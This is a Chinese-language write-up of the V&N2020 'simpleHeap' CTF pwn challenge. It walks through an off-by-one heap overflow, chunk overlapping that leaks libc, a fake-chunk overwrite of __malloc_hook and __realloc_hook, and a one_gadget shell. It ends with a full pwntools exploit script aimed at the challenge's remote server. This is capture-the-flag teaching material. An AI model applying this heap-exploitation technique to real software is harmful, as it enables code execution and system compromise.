[V&N2020 公开赛]simpleHeap | Extend Chunk & Realloc

Off by One 造成 Extend Chunk,分配和删除后造成 Chunk overlapping 泄露 libc 地址,用 Fake Chunk 写入 __realloc_hook 和 __malloc_hook 调整栈帧并执行 one_gadget

静态分析

Off by One

int Edit()
{
  signed int v1; // [rsp+Ch] [rbp-4h]
  printf("idx?");
  v1 = readint();
  if ( v1 < 0 || v1 > 9 || !qword_2020A0[v1] )
    exit(0);
  printf("content:");
  read_str((__int64)qword_2020A0[v1], dword_202060[v1]);
  return puts("Done!");
}

进入 readstr():

unsigned __int64 __fastcall readstr(__int64 a1, int a2)
{
  unsigned __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( (signed int)i > a2 )
      break;
    if ( !read(0, (void *)((signed int)i + a1), 1uLL) )
      exit(0);
    if ( *(_BYTE *)((signed int)i + a1) == 10 )
    {
      result = (signed int)i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
  }
  return result;
}

读入字符串的边界条件存在问题,对于记录着大小为 a1 的 chunk,可以读入 a2 + 1 个字符

利用 Off By One 可以覆盖掉物理相邻的下一个堆块 size 的最后一个字节(前提是修改的堆块大小为 0x8 的奇数倍,详见图解)

即修改了物理相邻的下一个堆块的 size 位,若写入一个较大的数,即可造车给 Chunk Extend (堆块延长)

具体过程

首先如图所示分配堆块,最下面的 Chunk 是防止 Top Chunk 向前生长的

第二步修改 idx0 的内容,溢出一字节覆盖到 idx1 的 size 位,使其伪造成一个总空间为 0xe1 的 Chunk

在 free(idx1) 之后,由于 size 超出了 fastbin 的范围,所以 idx1 释放后会进入 unsorted bin

需要注意的是 free 会验证 idx1 + 0xe0 的位置是不是一个 Chunk 头,如果不是会失败,这里是 idx3 的 Header

unsortbin:
all: 0x55f1ebc28020 -> 0x7fed444b9b78 (main_arena + 88)

此时再分配一个 0x60 的堆块,由于 fastbin 里没有 Free Chunk,程序会再 unsorted bin 的 idx1 中进行切割,如图:

切割的过程中,切割出的 idx4(此时索引中还没有) 成为了 unsorted bin 中新的唯一 Chunk,其 fd 指针指向 main_arena + 88

unsortbin:
all: 0x55f1ebc28090 -> 0x7fed444b9b78 (main_arena + 88)

注意到此时 idx4(此时索引中还没有) 和 idx2 是同一个堆块,idx4 是我们保存过的,所以可以通过 show(idx) 泄露出 main_arena 地址

这样就泄露出了 libc 的基址,我们希望通过覆写 __malloc_hook 来控制程序的执行流

因为此时 idx2 和 idx4 是重叠是,所以一个 edit,一个 allocate 可以实现我们的目的

首先生成索引中的 idx4(content: 0x60)然后 delete,此时该 Chunk 释放进入了 fastbin

然后用 idx2 写入 Fake Chunk 的地址到 idx2/idx4 的 fd 中(__malloc_hook-0x23),为什么是这样 看这里

当我们再两次 allocate 的时候,Fake Chunk 就成功在 __malloc_hook-0x23 生成,我们通过其覆写 __malloc_hook 劫持控制流

Realloc

直接用 one_gadget 写入 __malloc_hook 会失败,因为所需 getshell 条件没有被满足

对于这道题要使用 libc 中的 realloc 函数调整栈帧结构,使栈帧满足 one_gadget 的条件

__realloc_hook 和 __malloc_hook 有着差不多的含义,即在调用 realloc/hook 的时候会检查 hook 是否为 NULL,如果不是则先执行 hook

首先要晓得 __realloc_hook 和 __malloc_hook 在物理上的相邻的,所以我们的 payload 可以同时覆写这两者

即: payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+13)

这里的 gadget 是写入 __realloc_hook 的,relloc+13 是写入 __malloc_hook 的

程序的执行流是:__malloc_hook -> realloc+offset -> __realloc_hook -> one_gadget

结合 realloc 的代码就好理解了

realloc 在调用 __realloc_hook 之前,首先会执行一系列的 push 压栈,结束前会悉数弹出

如果我们首先在 relloc+offset 开始执行,少了一些 push,会把栈帧抬高,在最后执行 one_gadget 的时候 esp 的地址会发生改变

下图是 relloc 和 relloc+4 的调试结果,可以看出 esp 的相对值是增大的

通过调试构造出 one_gadget 的条件,以此 GetShell

在这道题中,需要使用 rsp+0x30 这个 one_gadget,并且从 relloc+13 开始执行,远程即可打通

尽管加载了相同的 libc,但本地的情况不太一样,需要慢慢调整选择正确的 one_gadget 和 realloc+offset

EXP

from pwn import *
#ld_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so'
#libc_path = '/home/harvey/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'
libc_path = './libc-2.23.so'
elf_path = './vn_pwn_simpleHeap'
#io = process([ld_path, elf_path], env={'LD_PRELOAD':libc_path})
io = remote('node3.buuoj.cn', '28315')
#one_gadget = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc = ELF(libc_path)
context.log_level = 'debug'

def debug():
	gdb.attach(io)
	pause()
def cmd(x):
	io.sendlineafter('choice: ', str(x))
def add(size, content):
	cmd(1)
	io.sendlineafter('size?', str(size))
	io.sendlineafter('content:', content)
def edit(idx, content):
	cmd(2)
	io.sendlineafter('idx?', str(idx))
	io.sendlineafter('content:', content)
def show(idx):
	cmd(3)
	io.sendlineafter('idx?', str(idx))
def delete(idx):
	cmd(4)
	io.sendlineafter('idx?', str(idx))

add(0x18, 'aaaa')
add(0x60, 'aaaa')
add(0x60, 'aaaa')
add(0x10, 'aaaa')
payload = 'a'*0x18 + 'xe1'
edit(0, payload)
delete(1)
add(0x60, 'aaaa')
show(2)
main_arena = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00')) - 88
libc_base = main_arena - 0x3c4b20
success('main_arena: ' + hex(main_arena))
success('libc_base: ' + hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook'] 
realloc = libc_base + libc.symbols['__libc_realloc']
fake_chunk = malloc_hook - 0x23
add(0x60, 'aaaa') # 4 and 2
delete(4)
payload = p64(fake_chunk)
edit(2, payload)
add(0x60, 'aaaa') # 4
gadget = libc_base + one_gadget[3]
success('gadget:' + hex(gadget))
offset = [0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]
payload = 'a'*(0x13-0x8) + p64(gadget) + p64(realloc+offset[5])
# payload = 'a' * 0x13 + p64(gadget)
add(0x60, payload)
# success(pidof(io))
# pause()
cmd(1)
io.sendlineafter('size?', '10')
io.interactive()
原文地址:https://www.cnblogs.com/zhwer/p/14009340.html